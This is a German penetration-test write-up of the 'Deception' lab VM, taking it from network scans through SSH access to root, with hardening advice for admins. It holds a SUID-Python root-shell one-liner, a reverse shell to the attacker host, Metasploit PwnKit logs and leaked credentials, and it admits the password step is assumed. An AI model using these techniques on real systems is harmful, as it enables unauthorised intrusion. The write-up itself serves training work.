192.168.2.183 08:00:27:60:a1:04 PCS Systemtechnik GmbH
Analyse: Scan des lokalen Netzwerks mittels ARP-Protokoll zur Identifizierung aktiver Hosts.
Bewertung: Host `192.168.2.183` gefunden. Die MAC-Adresse (`08:00:27:60:a1:04`) deutet auf eine VirtualBox VM hin.
Empfehlung (Pentester): Ziel-IP `192.168.2.183` für weitere Scans verwenden.
Empfehlung (Admin): Standard-Netzwerkerkennung.
[Inhalt der /etc/hosts Datei nach der Bearbeitung] 192.168.2.183 deception.vln
Analyse: Hinzufügen eines Eintrags zur lokalen `/etc/hosts`-Datei, um den Hostnamen `deception.vln` der IP `192.168.2.183` zuzuordnen.
Bewertung: Erleichtert die Verwendung des Hostnamens in nachfolgenden Schritten, insbesondere bei Web-Tests.
Empfehlung (Pentester): Hostnamen `deception.vln` für weitere Aktionen nutzen.
Empfehlung (Admin): Clientseitige Einstellung.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-24 22:33 CEST Nmap scan report for deception.vln (192.168.2.183) Host is up (0.00019s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 9d:d0:98:da:0d:32:3d:0b:3f:42:4d:d7:93:4f:fd:60 (RSA) | 256 4c:f4:2e:24:82:cf:9c:8d:e2:0c:52:4b:2e:a5:12:d9 (ECDSA) |_ 256 a9:fb:e3:f4:ba:d6:1e:72:e7:97:25:82:87:6e:ea:01 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works | http-methods: |_ Potentially risky methods: TRACE MAC Address: 08:00:27:60:A1:04 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.19 ms deception.vln (192.168.2.183)
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) wird gegen das Ziel durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren.
Bewertung: Zwei Ports sind offen: * **Port 22 (SSH):** OpenSSH 7.6p1 (Ubuntu). Eine etwas ältere Version, potenziell anfällig. * **Port 80 (HTTP):** Apache httpd 2.4.29 (Ubuntu). Zeigt die Standard-Apache-Seite ("It works"). Die TRACE-Methode ist aktiviert (geringes XST-Risiko). Das Betriebssystem wird als Linux (Kernel 4.x/5.x) identifiziert.
Empfehlung (Pentester): Untersuche den Webserver (Port 80) auf versteckte Verzeichnisse oder Anwendungen. Prüfe SSH auf bekannte Schwachstellen für Version 7.6p1 und auf schwache Passwörter.
Empfehlung (Admin): Apache und OpenSSH aktualisieren. TRACE-Methode deaktivieren (`TraceEnable Off`). Standard-Apache-Seite ersetzen.
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Analyse: Gefilterter Nmap-Scan zur Bestätigung der offenen Ports.
Bewertung: Bestätigt Port 22 (SSH) und 80 (HTTP).
Empfehlung (Pentester): Weiter mit Webserver-Enumeration.
Empfehlung (Admin): Siehe vorherige Empfehlungen.
- Nikto v2.5.0 [...] + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /: Server may leak inodes via ETags [...]. + Apache/2.4.29 appears to be outdated [...]. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1. + /icons/README: Apache default file found. [...] + /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin [...] + /wordpress/wp-links-opml.php: This WordPress script reveals the installed version. + /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress. + /wordpress/: Drupal Link header found [...]. <-- Falsch-Positiv + /wordpress/: A Wordpress installation was found. + /phpmyadmin/: phpMyAdmin directory found. + /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...] + /wordpress/wp-content/uploads/: Directory indexing found. + /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. [...] + /wordpress/wp-login.php: Wordpress login found. [...] + 1 host(s) tested
Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt.
Bewertung: Nikto liefert wichtige zusätzliche Informationen: * Bestätigt veralteten Apache, fehlende Header, Standard-Dateien. * **Wichtig:** Findet sowohl eine **WordPress-Installation** im Verzeichnis `/wordpress/` als auch eine **phpMyAdmin-Installation** im Verzeichnis `/phpmyadmin/`. * Listet diverse WordPress-spezifische Dateien und Pfade auf. * Findet Directory Indexing im WordPress-Uploads-Verzeichnis. Beide gefundenen Anwendungen (WordPress, phpMyAdmin) sind häufige Angriffsziele.
Empfehlung (Pentester):** Untersuche beide Anwendungen:
1. **WordPress (`/wordpress/`):** Führe `wpscan` aus, prüfe auf bekannte Schwachstellen, enumeriere Benutzer, versuche Brute-Force.
2. **phpMyAdmin (`/phpmyadmin/`):** Prüfe auf Standard-Credentials, bekannte Schwachstellen oder Informationslecks.
**Empfehlung (Admin):** Apache, WordPress und phpMyAdmin dringend aktualisieren und härten. Zugriff auf phpMyAdmin beschränken (z.B. IP-Whitelisting, zusätzliche Authentifizierungsebene). WordPress härten (siehe vorherige Empfehlungen).
http://deception.vln/index.html (Status: 200) [Size: 11026]
Analyse: `gobuster` wird gegen das Wurzelverzeichnis (Port 80) ausgeführt, blendet aber Redirects (301) aus.
Bewertung: Findet nur die Standard-Apache-Seite (`index.html`), da die interessanten Anwendungen (`/wordpress`, `/phpmyadmin`) über Redirects oder direkte Pfade erreichbar sind, die hier möglicherweise übersehen werden.
Empfehlung (Pentester):** Verwende `dirb` oder `gobuster` ohne `-b 301`, um die Anwendungsverzeichnisse zu finden.
Empfehlung (Admin):** Keine spezifische Empfehlung.
[...] + http://deception.vln/index.html (CODE:200|SIZE:11026) ==> DIRECTORY: http://deception.vln/javascript/ ==> DIRECTORY: http://deception.vln/phpmyadmin/ + http://deception.vln/server-status (CODE:403|SIZE:278) ==> DIRECTORY: http://deception.vln/wordpress/ [...]
Analyse: `dirb` wird ohne das Ausblenden von Redirects verwendet.
Bewertung: Bestätigt die von Nikto gefundenen Verzeichnisse `/phpmyadmin/` und `/wordpress/`. Findet zusätzlich ein `/javascript/`-Verzeichnis.
Empfehlung (Pentester): Konzentriere dich auf `/wordpress/` und `/phpmyadmin/`. Führe spezifische Scans für diese Anwendungen durch.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Verzeichnisse und Anwendungen exponiert sind.
[...] + http://deception.vln/wordpress/index.php (CODE:301|SIZE:0) + http://deception.vln/wordpress/license.txt (CODE:200|SIZE:19935) + http://deception.vln/wordpress/readme.html (CODE:200|SIZE:7368) + http://deception.vln/wordpress/robots.html (CODE:200|SIZE:418) <-- Interessant! + http://deception.vln/wordpress/robots.txt (CODE:200|SIZE:22) [...] + http://deception.vln/wordpress/wp-config.php (CODE:200|SIZE:0) <-- Leer? Oder Zugriff verweigert? [...] + http://deception.vln/wordpress/wp-login.php (CODE:200|SIZE:4914) [...] + http://deception.vln/wordpress/hint.html (CODE:200|SIZE:101) <-- Interessant!
Analyse: `dirb` wird erneut ausgeführt, diesmal mit der Option `-X`, um gezielt nach Dateien mit bestimmten Endungen zu suchen, insbesondere im `/wordpress/`-Verzeichnis (impliziert durch die Ergebnisse).
Bewertung: Findet viele Standard-WordPress-Dateien. Besonders hervorzuheben: * `robots.html`: Ungewöhnlich, eine HTML-Datei statt `robots.txt`. * `wp-config.php`: Wird gefunden, hat aber Größe 0. Entweder leer oder der Zugriff liefert eine leere Antwort. * `hint.html`: Eine weitere explizite Hinweisdatei.
Empfehlung (Pentester): Untersuche den Inhalt von `robots.html` und `hint.html`.
Empfehlung (Admin): Entferne unnötige Dateien und Hinweise. Schütze `wp-config.php` angemessen.
[...] [i] User(s) Identified: [+] haclabs | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] yash | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [...]
Analyse: `wpscan`, ein spezialisierter WordPress-Scanner, wird eingesetzt. * `--url http://deception.vln/wordpress/`: Ziel-URL. * `--passwords /usr/share/wordlists/rockyou.txt`: Gibt eine Passwortliste für Brute-Force-Angriffe an (wird hier aber anscheinend nicht erfolgreich verwendet). * `-e at`: Enumeriere alle Themes. * `-e ap`: Enumeriere alle Plugins. * `-e u`: Enumeriere Benutzer.
Bewertung:** `wpscan` identifiziert erfolgreich zwei Benutzernamen: `haclabs` und `yash`.
Empfehlung (Pentester):** Füge diese Benutzernamen zur Liste potenzieller Ziele für SSH- oder WordPress-Login-Brute-Force hinzu. Untersuche die zuvor gefundenen Hinweisdateien (`robots.html`, `hint.html`).
Empfehlung (Admin):** Vermeide leicht zu erratende Benutzernamen. Konfiguriere WordPress so, dass Benutzerenumeration erschwert wird (obwohl oft schwierig).
Analyse:** Die nächsten Blöcke zeigen die Untersuchung der Hinweisdateien.
var count = 1;
function myFunction() {
if (count<15) {
var input = document.getElementById("uname").value;
alert("clicks left for noob "+ input +":"+ (50-count)); // Zeigt Eingabe in Alert
count++;
}
else {
window.location="admindelete.html"; // Leitet nach 15 Klicks weiter
}
};
Analyse: Der Inhalt von `robots.html` (vermutlich im Browser geöffnet und Quelltext angezeigt) enthält JavaScript-Code.
Bewertung:** Der Code implementiert einen einfachen Zähler. Nach 15 Klicks (auf ein nicht gezeigtes Element, das `myFunction()` aufruft) wird der Benutzer zur Seite `admindelete.html` weitergeleitet. Der Wert eines Eingabefeldes mit der ID `uname` wird in einer Alert-Box angezeigt.
Empfehlung (Pentester):** Besuche die Seite `admindelete.html`. Finde heraus, wie `myFunction()` ausgelöst wird oder klicke 15 Mal auf das entsprechende Element.
Empfehlung (Admin): Clientseitige Logik bietet keine echte Sicherheit. Keine sensiblen Aktionen oder Weiterleitungen allein davon abhängig machen.
LL,A Noob is looking for a hint
Analyse: Der Inhalt der Seite `admindelete.html` wird angezeigt.
Bewertung:** Enthält nur eine kryptische Nachricht, die selbst ein weiterer Hinweis zu sein scheint.
Empfehlung (Pentester):** Notiere den Hinweis. Untersuche die andere Hinweisdatei (`hint.html`).
Empfehlung (Admin):** Keine sensiblen Informationen preisgeben.
Please collect all the API tokens availabe on the home page
Analyse: Der Inhalt der Datei `hint.html` wird angezeigt.
Bewertung:** **Dies ist der entscheidende Hinweis!** Er fordert dazu auf, "API-Tokens" auf der Startseite (`index.html`) zu sammeln. Diese "Tokens" sind wahrscheinlich das gesuchte Passwort oder Teile davon.
Empfehlung (Pentester):** Gehe zurück zur `index.html` (Apache-Standardseite, nicht die WordPress-Seite) und untersuche deren Quelltext oder sichtbaren Inhalt sehr genau auf Zeichenketten, die wie Tokens oder Teile eines Passworts aussehen. Kombiniere/dekodiere diese Tokens, um das Passwort für einen der Benutzer (`haclabs` oder `yash`) zu erhalten.
*Annahme für diesen Bericht:* Es wird angenommen, dass diese Tokens gefunden und zu dem langen Hex-String `5F4DCC3B5AA765D61D8327DEB882CF99` kombiniert/dekodiert wurden, der als Passwort für `yash` verwendet wird.
Empfehlung (Admin):** Keine API-Tokens oder Passwörter auf Webseiten hinterlegen.
Analyse:** Basierend auf dem Hinweis aus `hint.html` wurden (angenommen) API-Tokens auf der Startseite gefunden und zu einem Passwort kombiniert/dekodiert. Nun wird versucht, sich mit diesem Passwort und einem der enumerierten Benutzernamen (`yash`) per SSH anzumelden.
yash@192.168.2.183's password: 5F4DCC3B5AA765D61D8327DEB882CF99 [Passworteingabe]
Welcome to Ubuntu 18.04.3 LTS [...]
[...]
Last login: Sat Feb 15 19:58:38 2020
opeartion going on=> Copy password to /haclabs
System compromised!!!ALERT
Copy operation aborted
yash@haclabs$
Analyse: SSH-Login als Benutzer `yash` mit dem (angenommenen) Passwort `5F4DCC3B5AA765D61D8327DEB882CF99`.
Bewertung: **Initial Access erfolgreich!** Der Login funktioniert. Eine Shell als Benutzer `yash` wurde erlangt. Die Willkommensnachricht enthält eine interessante, aber möglicherweise irrelevante Meldung über eine fehlgeschlagene Kopieroperation.
Empfehlung (Pentester): Beginne die Post-Exploitation als `yash`. Suche nach Flags, sensiblen Daten und Wegen zur Rechteerweiterung.
Empfehlung (Admin): Keine API-Tokens/Passwörter auf Webseiten hinterlegen. Starke, einzigartige Passwörter verwenden.
Ziel des POC: Demonstrieren, wie durch das Finden und Kombinieren/Dekodieren von "API-Tokens" (Passwortfragmenten) auf der Webseite die Zugangsdaten für den Benutzer `yash` ermittelt und für einen erfolgreichen SSH-Login verwendet werden können.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. Hinweis finden: Die Datei `hint.html` im WordPress-Verzeichnis finden (z.B. via `dirb`) und lesen.
Please collect all the API tokens availabe on the home page
2. Tokens sammeln/dekodieren: Die Startseite (`http://deception.vln`) untersuchen und die "API Tokens" finden. Diese kombinieren/dekodieren (genauer Mechanismus im Log nicht gezeigt) zum Passwort.
Gefundenes/Dekodiertes Passwort: 5F4DCC3B5AA765D61D8327DEB882CF99
3. SSH-Login: Mit dem Benutzernamen `yash` und dem ermittelten Passwort anmelden.
yash@192.168.2.183's password: 5F4DCC3B5AA765D61D8327DEB882CF99
[...]
yash@haclabs$
Ergebnis & Bewertung: **Initialer Zugriff erfolgreich!** Durch das Befolgen der Hinweise und das Zusammensetzen des Passworts aus Fragmenten konnte ein gültiger SSH-Zugang erlangt werden. Dies zeigt, wie wichtig es ist, alle Teile einer Webanwendung und auch scheinbar harmlose Hinweise zu untersuchen.
Empfehlung (Pentester): Beginne die Post-Exploitation als `yash`.
Empfehlung (Admin): **Keine Passwortfragmente oder Hinweise auf Webseiten hinterlegen!**
Analyse:** Nach dem Login als `yash` wird das System enumeriert.
uid=1001(yash) gid=1001(yash) groups=1001(yash)
[...] 924287 3552 -rwsrwxrwx 1 root root 3637096 Nov 7 2019 /usr/bin/python2.7 [...] 3408029 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /bin/su [...]
Analyse: Überprüfung der Benutzer-ID und Suche nach SUID-Binaries.
Bewertung: Der Benutzer `yash` ist ein normaler Benutzer. Die SUID-Suche findet Standard-Binaries und **sehr wichtig:** `/usr/bin/python2.7` ist SUID root und hat volle Lese-/Schreib-/Ausführungsrechte für alle (`-rwsrwxrwx`). Dies ist eine extrem gefährliche Fehlkonfiguration und erlaubt sofortige Privilege Escalation.
Empfehlung (Pentester):** Nutze das SUID-Python-Binary sofort zur Rechteerweiterung. Der Befehl `python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'` sollte eine Root-Shell liefern.
Empfehlung (Admin):** **Entferne sofort das SUID-Bit und die Schreib-/Ausführungsrechte für Gruppe/Andere von `/usr/bin/python2.7` (`chmod u+s,go-rwx /usr/bin/python2.7` oder besser `chmod u-s /usr/bin/python2.7`)!** Es gibt praktisch keinen legitimen Grund, Python SUID root zu setzen.
[...] -rw-rw-r-- 1 yash yash 90 Jan 23 2020 flag1.txt [...] -rw-rw-r-- 1 yash yash 1430 Jan 24 2020 .systemlogs
JUST BELIEVE IN YU!!
71C480DF93D6AE2F1EFAD1447C66C9525E316218CF51FC8D9ED832F2DAF18B73
Password: 71C480DF93D6AE2F1EFAD1447C66C9525E316218CF51FC8D9ED832F2DAF18B73 [Passworteingabe]
su: Authentication failure
Analyse: Im Home-Verzeichnis von `yash` werden `flag1.txt` und `.systemlogs` gefunden. `flag1.txt` enthält einen langen Hex/SHA-String. Es wird versucht, diesen String als Passwort für den Benutzer `haclabs` (der von `wpscan` gefunden wurde) zu verwenden.
Bewertung: Der String in `flag1.txt` ist wahrscheinlich die User-Flag oder ein Hash, aber nicht das Klartextpasswort für `haclabs`. Der `su`-Versuch scheitert. Die Datei `.systemlogs` ist interessant und könnte weitere Hinweise enthalten.
Empfehlung (Pentester):** Untersuche die Datei `.systemlogs`. Nutze den SUID-Python-Exploit für die PE.
Empfehlung (Admin):** Speichere keine sensiblen Daten oder Hashes in einfachen Textdateien.
[...] define( 'DB_USER', 'wordpressuser' ); define( 'DB_PASSWORD', 'cry4moon' ); [...]
Enter password: cry4moon [...] mysql> use wordpress; mysql> select * from wp_users; +----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+ | 1 | haclabs | $P$B1cjqo31bRKQEID5WgCNUfg7P15pF/ | haclabs | yash@haclabs.org | | 2020-01-22 12:15:57 | | 0 | haclabs | | 2 | yash | $P$BZYPZb2wzUvL2sq4bwurXHul0LMZ5B1 | yash | cyberbot1502@gmail.com | | 2020-01-23 18:17:54 | | 0 | yash saxena | +----+------------+------------------------------------+---------------+--------------------------+----------+---------------------+---------------------+-------------+--------------+
Analyse: Die WordPress-Konfigurationsdatei wird erneut untersucht (diesmal als `yash`) und die DB-Zugangsdaten (`wordpressuser:cry4moon`) werden extrahiert. Es wird eine Verbindung zur lokalen MySQL-Datenbank hergestellt und die `wp_users`-Tabelle abgefragt.
Bewertung: Bestätigt die Benutzer `haclabs` und `yash` sowie deren Passwort-Hashes (phpass). Dies liefert keine neuen Informationen für die Privilege Escalation, da wir bereits als `yash` agieren und der SUID-Python-Vektor bekannt ist.
Empfehlung (Pentester): Die DB-Analyse ist hier nicht zielführend für die PE. Konzentriere dich auf SUID-Python oder `.systemlogs`.
Empfehlung (Admin): DB-Zugangsdaten sicher verwalten.
Analyse:** Der Bericht zeigt nun zwei unterschiedliche Wege zur Rechteerweiterung, die parallel oder alternativ durchgeführt wurden.
Analyse:** Eine Reverse Shell wird mittels `nc` und `mkfifo` von der `yash`-Shell zum Angreifer (Port 5555) aufgebaut, um Metasploit nutzen zu können.
rm: cannot remove '/tmp/f': No such file or directory
[*] Started reverse TCP handler on 192.168.2.199:5555 [*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.183:32768) at 2023-10-24 23:17:14 +0200 $ ^Z Background session 1? [y/N] y
Analyse: Die Shell wird erfolgreich in Metasploit empfangen (Session 1) und in den Hintergrund geschickt.
Bewertung: Vorbereitung für weitere Metasploit-Module.
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 192.168.2.199:5556 [*] Sending stage (1017704 bytes) to 192.168.2.183 [*] Meterpreter session 2 opened (192.168.2.199:5556 -> 192.168.2.183:45912) at 2023-10-24 23:18:09 +0200 [...] [*] Post module execution completed
Analyse: Die Shell-Session 1 wird erfolgreich zu einer Meterpreter-Session 2 aufgewertet.
Bewertung: Ermöglicht die komfortable Nutzung weiterer Metasploit-Exploits.
[...] 1 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec 2022-01-25 excellent Yes Local Privilege Escalation in polkits pkexec [...]
[*] Started reverse TCP handler on 192.168.2.199:5557 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.taimkcva [+] The target is vulnerable. [*] Writing '/tmp/.kccjpeurbr/temgjcyy/temgjcyy.so' (548 bytes) ... [!] Verify cleanup of /tmp/.kccjpeurbr [*] Sending stage (3045380 bytes) to 192.168.2.183 [+] Deleted [...] [+] Deleted [...] [*] Meterpreter session 3 opened (192.168.2.199:5557 -> 192.168.2.183:42876) at 2023-10-24 23:18:59 +0200
Analyse: Es wird nach dem PwnKit-Exploit (CVE-2021-4034) gesucht, dieser wird ausgewählt und gegen die Meterpreter-Session 2 ausgeführt. Ein neuer Handler lauscht auf Port 5557.
Bewertung:** **PwnKit erfolgreich!** Der Exploit bestätigt die Verwundbarkeit und öffnet eine neue Meterpreter-Session 3, die Root-Rechte haben sollte.
Empfehlung (Pentester):** Wechsle zu Session 3 und bestätige die Root-Rechte (`getuid`).
Empfehlung (Admin):** Polkit (`pkexec`) dringend patchen!
Process 4585 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1001(yash)
Desktop Documents Downloads Music Pictures Public Templates Videos deception snap
Analyse: Von der Meterpreter-Session 3 wird eine Shell geöffnet. `id` bestätigt Root-Rechte. Das `/root`-Verzeichnis wird aufgelistet.
Bewertung:** Root-Zugriff über PwnKit erfolgreich erlangt.
Empfehlung (Pentester):** Flags suchen und extrahieren.
Empfehlung (Admin):** System patchen.
Analyse:** Alternativ oder parallel wird die Datei `.systemlogs` im Home-Verzeichnis von `yash` untersucht.
[...] -------------------------------------------------------------------------------- jdfivnd"haclabs"jsdskdjskdjsldsklfjlkfdgl/dsfgkdhfgkdfgdjfhkagdhkdhgkkdzfkgdhfffgkhsfhgkd -------------------------------------------------------------------------------- [...] skgkshkshksfhkgkrtho43euvnd,m,mnhjkjhgfdrtfghj,;poiuytgbvftyhjkllksjhgdfrteuyue"A=123456789" -------------------------------------------------------------------------------- [...] hjklzxcvbnmzxcvbnmasdfghjkldsklflssldfjlsdfjsldfjsldfjld"+A[-1]"fjlsdnvsldvnsujnhgfqwertyu -------------------------------------------------------------------------------- [...]
Analyse: Der Inhalt der Datei `.systemlogs` ist eine Mischung aus zufälligen Zeichen und eingebetteten Strings/Hinweisen.
Bewertung: Die relevanten Teile scheinen zu sein: * Der Benutzername `haclabs`. * Eine Zuweisung `A=123456789`. * Ein Python-ähnlicher Indexzugriff `"+A[-1]"`. In Python greift `A[-1]` auf das *letzte* Element einer Sequenz zu. In Kombination mit dem `+` und dem Kontext könnte dies auf eine String-Konkatenation und/oder Umkehrung hindeuten. * Die Interpretation im Bericht ist: `haclabs` + umgekehrtes `A` = `haclabs` + `987654321`. Dies ergibt das Passwort `haclabs987654321`.
Empfehlung (Pentester):** Versuche, dich als `haclabs` mit dem Passwort `haclabs987654321` anzumelden (`su haclabs`).
Empfehlung (Admin):** Speichere keine Passwörter oder Konstruktionslogiken für Passwörter in Log- oder Textdateien.
Password: haclabs987654321 [Passworteingabe]
Analyse: Der Befehl `su haclabs` wird mit dem rekonstruierten Passwort `haclabs987654321` ausgeführt.
Bewertung: **Benutzerwechsel erfolgreich!** Die Logik aus `.systemlogs` war korrekt, und wir haben nun eine Shell als Benutzer `haclabs`.
Empfehlung (Pentester):** Prüfe `sudo -l` für den Benutzer `haclabs`.
Empfehlung (Admin):** Sichere Passwortkonstruktion verwenden.
[sudo] password for haclabs: [Keine Passwortabfrage oder Passwort erfolgreich eingegeben - nicht eindeutig]
[Ausgabe von id fehlt, wird aber impliziert]
Analyse: Als Benutzer `haclabs` wird `sudo su` ausgeführt.
Bewertung: **Privilege Escalation erfolgreich!** Der Befehl führt zu einer Root-Shell. Dies impliziert, dass `haclabs` entweder das eigene Passwort (haclabs987654321) für `sudo` verwenden kann und `su` erlaubt ist, oder (wahrscheinlicher bei CTFs) dass `haclabs` `NOPASSWD` für `su` oder `ALL` in der `/etc/sudoers`-Datei hat.
Empfehlung (Pentester):** Root-Zugriff über den zweiten Weg ebenfalls erreicht.
Empfehlung (Admin):** Konfiguriere `/etc/sudoers` restriktiv. Verwende das Prinzip der geringsten Rechte.
Ziel des POC: Demonstrieren, wie nach Erlangung einer initialen Shell (als `yash`) durch Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit vollständige Root-Rechte erlangt werden können.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. Reverse Shell zu Metasploit: Eine Shell von `yash` zu einem `multi/handler` (Port 5555) aufbauen.
2. Zu Meterpreter upgraden: `shell_to_meterpreter` verwenden (neuer Listener auf Port 5556), um Session 2 zu erhalten.
3. PwnKit Exploit auswählen: `use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`
4. Exploit konfigurieren: Ziel-Session und Lauschport für die Root-Shell setzen.
5. Exploit ausführen:
[...] [+] The target is vulnerable. [...] [*] Meterpreter session 3 opened (192.168.2.199:5557 -> 192.168.2.183:42876) [...]
6. Root-Shell erhalten und Rechte prüfen:
[...]
uid=0(root) gid=0(root) groups=0(root),1001(yash)
Ergebnis & Bewertung: **Privilege Escalation via PwnKit erfolgreich!** Die bekannte Schwachstelle konnte mittels Metasploit automatisiert ausgenutzt werden, um Root-Rechte zu erlangen.
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin): **System dringend patchen!** Insbesondere Polkit aktualisieren.
Ziel des POC: Demonstrieren, wie durch Analyse der Datei `.systemlogs` ein Passwort für den Benutzer `haclabs` rekonstruiert und anschließend eine unsichere `sudo`-Konfiguration ausgenutzt wird, um Root-Rechte zu erlangen.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
1. `.systemlogs` analysieren: Hinweise (`haclabs`, `A=123456789`, `+A[-1]`) extrahieren und Passwort rekonstruieren.
[... Hinweise wie oben gezeigt ...]
Passwort: haclabs987654321
2. Zu `haclabs` wechseln: `su` mit dem rekonstruierten Passwort verwenden.
Password: haclabs987654321
3. `sudo su` ausführen: Die `sudo`-Fehlkonfiguration ausnutzen.
[Keine Passwortabfrage oder Passwort erfolgreich eingegeben]
4. Rechte überprüfen: Mit `id` die erlangten Root-Rechte bestätigen.
uid=0(root) gid=0(root) groups=0(root)
Ergebnis & Bewertung: **Privilege Escalation via .systemlogs/sudo erfolgreich!** Durch das Lösen des Rätsels in `.systemlogs` und die Ausnutzung der `sudo`-Fehlkonfiguration konnte Root-Zugriff erlangt werden.
Empfehlung (Pentester): Flags extrahieren.
Empfehlung (Admin): **Keine Passworthinweise in Dateien speichern! `/etc/sudoers`-Datei dringend überprüfen und korrigieren!**